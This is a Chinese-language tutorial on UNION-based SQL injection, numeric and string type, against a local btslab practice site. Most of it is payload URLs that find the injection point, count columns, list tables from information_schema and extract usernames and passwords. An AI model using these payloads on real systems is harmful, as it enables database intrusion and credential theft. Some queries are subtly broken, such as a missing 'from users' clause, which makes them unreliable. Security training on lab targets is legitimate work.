基于联合调查的SQL注入
我们先了解一下mysql的系统函数
user() | database() | version() | concat() | group_concat() | datadir |
当前使用者的用户名 | 当前数据库名 | 数据库版本 | 连接一个或者多个字符串 | 接一个组的所有字符串,并以逗号分隔每一条数据 | 读取数据库的绝对路径 |
这里给大家提供一个SQL注入的实验平台。http://localhost/btslab/vulnerability/ForumPosts.php?id=1(请打开phpstudy使用)
数字型注入
我们以http://localhost/btslab/vulnerability/ForumPosts.php?id=1为例,可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
1.判断是否能sql注入:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1' ① 页面返回错误
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=1 ② 页面返回正常
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 ③ 页面返回错误
如果符合上述三点则我们可以确定可以进行SQL注入,且id是一个注入点。
2.查数据库:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1and ord(mid(version(),1,1))>51
如果返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。
3.查字段:
a. http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 5
返回错误页面,说明字段小于5。
b.http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 4
返回正常页面,说明字段为4。
当然我们可以从1开始依次列举。
5.查列数:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,2,3,4
我们发现页面返回给我们两个数字,2,4。 这里的2,4指是数据储存的位置,也就是我们可以把这个数字中的一个或者多个替换成我们想要查询的关键字。
6.查数据库名:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,database(),3,4
浏览器给我们返回了bts 。说明这个网站 的数据库库名是 bts
7.查表:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
(补充一下:MYSQL中有个数据库叫 information_schema,数据库中有个表名叫tables,其中的table_name列储存了所有数据库中的所有表名,而table_schema则储存着该表所在的数据库名,group_concat()可以把多项数据合成一个字符串返回)
查到bts下的表名:messages,posts,tdata,users
8.同样我们也可以查询用户名和密码。
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,username,3,password
注意这里的users是表名,而不是固定的。
字符型注入
简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示)。如:select * from 表名 where id ='1'
在这里我们仍然以http://localhost/btslab/vulnerability/ForumPosts.php?id=1 为例。
1.判断是否为字符型注入:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1' ①页面返回错误
http://localhost/btslab/vulnerability/ForumPosts.php?id=1''②页面返回正常
如果符合上述情况,则可以确定这是字符型注入且id是一个注入点。
2.查字段:http://localhost/btslab/vulnerability/ForumPosts.php?id=1' order by 1 # (同上)
此时数据库中的查询语句为:select * from 表名 wher id='1' order by 1 #' 这里为了达到引号闭合的目的我们需要注释一个引号。
3.查列数:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,2,3,4 #
4.查数据库名:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,database(),3,4 # 得到表名bts
5.查表:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
6.查询用户名和密码:
http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,username,3,password #